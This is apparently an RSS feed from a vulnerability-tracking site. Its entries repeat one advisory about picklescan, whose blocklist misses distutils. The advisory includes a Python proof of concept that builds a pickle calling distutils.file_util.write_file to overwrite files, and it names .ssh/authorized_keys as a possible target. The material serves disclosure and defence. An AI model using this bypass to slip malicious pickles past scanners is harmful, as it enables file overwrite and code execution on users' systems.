<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 10 Oct 2026 01:43:50 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-328298</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-328298</link>
      <description>EUVD-2026-328298</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-328298</guid>
    </item>
    <item>
      <title>fkie_cve-2025-71321</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2025-71321</link>
      <description>&lt;p&gt;picklescan before 0.0.33 contains an arbitrary file writing vulnerability that allows attackers to bypass the dangerous blocklist by using distutils.file_util.write_file. Attackers can construct malicious pickle objects to overwrite critical system files and achieve denial of service or remote code execution.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;picklescan before 0.0.33 contains an arbitrary file writing vulnerability that allows attackers to bypass the dangerous blocklist by using distutils.file_util.write_file. Attackers can construct malicious pickle objects to overwrite critical system files and achieve denial of service or remote code execution.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2025-71321</guid>
    </item>
    <item>
      <title>GHSA-m273-6v24-x4m4 — Picklescan vulnerable to Arbitrary File Writing</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-m273-6v24-x4m4</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: picklescan&lt;/p&gt;
&lt;p&gt;### Summary
Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.&lt;/p&gt;
&lt;p&gt;### Details
This is another vulnerability which impacts the downstream user.&lt;/p&gt;
&lt;p&gt;By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.&lt;/p&gt;
&lt;p&gt;### PoC
```python
import pickle
import distutils.file_util&lt;/p&gt;
&lt;p&gt;class FileWriteBypass:
    def __reduce__(self):
        
        target_file = &amp;#34;pwned_config.env&amp;#34;
        content = [&amp;#34;print(&amp;#39;I have overwritten your config&amp;#39;)&amp;#34;]
        
        return (distutils.file_util.write_file, (target_file, content))&lt;/p&gt;
&lt;p&gt;payload = pickle.dumps(FileWriteBypass())
with open(&amp;#34;bypass_filewrite.pkl&amp;#34;, &amp;#34;wb&amp;#34;) as f:
    f.write(payload)&lt;/p&gt;
&lt;p&gt;print(&amp;#34;bypass_filewrite.pkl&amp;#34;)
```&lt;/p&gt;
&lt;p&gt;&amp;lt;img width=&amp;#34;853&amp;#34; height=&amp;#34;197&amp;#34; alt=&amp;#34;image&amp;#34; src=&amp;#34;https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65&amp;#34; /&amp;gt;&lt;/p&gt;
&lt;p&gt;To fix this just add disutil to the blacklist&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: picklescan&lt;/p&gt;
&lt;p&gt;### Summary
Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.&lt;/p&gt;
&lt;p&gt;### Details
This is another vulnerability which impacts the downstream user.&lt;/p&gt;
&lt;p&gt;By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.&lt;/p&gt;
&lt;p&gt;### PoC
```python
import pickle
import distutils.file_util&lt;/p&gt;
&lt;p&gt;class FileWriteBypass:
    def __reduce__(self):
        
        target_file = &amp;#34;pwned_config.env&amp;#34;
        content = [&amp;#34;print(&amp;#39;I have overwritten your config&amp;#39;)&amp;#34;]
        
        return (distutils.file_util.write_file, (target_file, content))&lt;/p&gt;
&lt;p&gt;payload = pickle.dumps(FileWriteBypass())
with open(&amp;#34;bypass_filewrite.pkl&amp;#34;, &amp;#34;wb&amp;#34;) as f:
    f.write(payload)&lt;/p&gt;
&lt;p&gt;print(&amp;#34;bypass_filewrite.pkl&amp;#34;)
```&lt;/p&gt;
&lt;p&gt;&amp;lt;img width=&amp;#34;853&amp;#34; height=&amp;#34;197&amp;#34; alt=&amp;#34;image&amp;#34; src=&amp;#34;https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65&amp;#34; /&amp;gt;&lt;/p&gt;
&lt;p&gt;To fix this just add disutil to the blacklist&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-m273-6v24-x4m4</guid>
    </item>
    <item>
      <title>PYSEC-2026-1791 — Picklescan vulnerable to Arbitrary File Writing</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-1791</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: picklescan&lt;/p&gt;
&lt;p&gt;### Summary
Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.&lt;/p&gt;
&lt;p&gt;### Details
This is another vulnerability which impacts the downstream user.&lt;/p&gt;
&lt;p&gt;By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.&lt;/p&gt;
&lt;p&gt;### PoC
```python
import pickle
import distutils.file_util&lt;/p&gt;
&lt;p&gt;class FileWriteBypass:
    def __reduce__(self):
        
        target_file = &amp;#34;pwned_config.env&amp;#34;
        content = [&amp;#34;print(&amp;#39;I have overwritten your config&amp;#39;)&amp;#34;]
        
        return (distutils.file_util.write_file, (target_file, content))&lt;/p&gt;
&lt;p&gt;payload = pickle.dumps(FileWriteBypass())
with open(&amp;#34;bypass_filewrite.pkl&amp;#34;, &amp;#34;wb&amp;#34;) as f:
    f.write(payload)&lt;/p&gt;
&lt;p&gt;print(&amp;#34;bypass_filewrite.pkl&amp;#34;)
```&lt;/p&gt;
&lt;p&gt;&amp;lt;img width=&amp;#34;853&amp;#34; height=&amp;#34;197&amp;#34; alt=&amp;#34;image&amp;#34; src=&amp;#34;https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65&amp;#34; /&amp;gt;&lt;/p&gt;
&lt;p&gt;To fix this just add disutil to the blacklist&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: picklescan&lt;/p&gt;
&lt;p&gt;### Summary
Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.&lt;/p&gt;
&lt;p&gt;### Details
This is another vulnerability which impacts the downstream user.&lt;/p&gt;
&lt;p&gt;By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.&lt;/p&gt;
&lt;p&gt;### PoC
```python
import pickle
import distutils.file_util&lt;/p&gt;
&lt;p&gt;class FileWriteBypass:
    def __reduce__(self):
        
        target_file = &amp;#34;pwned_config.env&amp;#34;
        content = [&amp;#34;print(&amp;#39;I have overwritten your config&amp;#39;)&amp;#34;]
        
        return (distutils.file_util.write_file, (target_file, content))&lt;/p&gt;
&lt;p&gt;payload = pickle.dumps(FileWriteBypass())
with open(&amp;#34;bypass_filewrite.pkl&amp;#34;, &amp;#34;wb&amp;#34;) as f:
    f.write(payload)&lt;/p&gt;
&lt;p&gt;print(&amp;#34;bypass_filewrite.pkl&amp;#34;)
```&lt;/p&gt;
&lt;p&gt;&amp;lt;img width=&amp;#34;853&amp;#34; height=&amp;#34;197&amp;#34; alt=&amp;#34;image&amp;#34; src=&amp;#34;https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65&amp;#34; /&amp;gt;&lt;/p&gt;
&lt;p&gt;To fix this just add disutil to the blacklist&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-1791</guid>
    </item>
  </channel>
</rss>
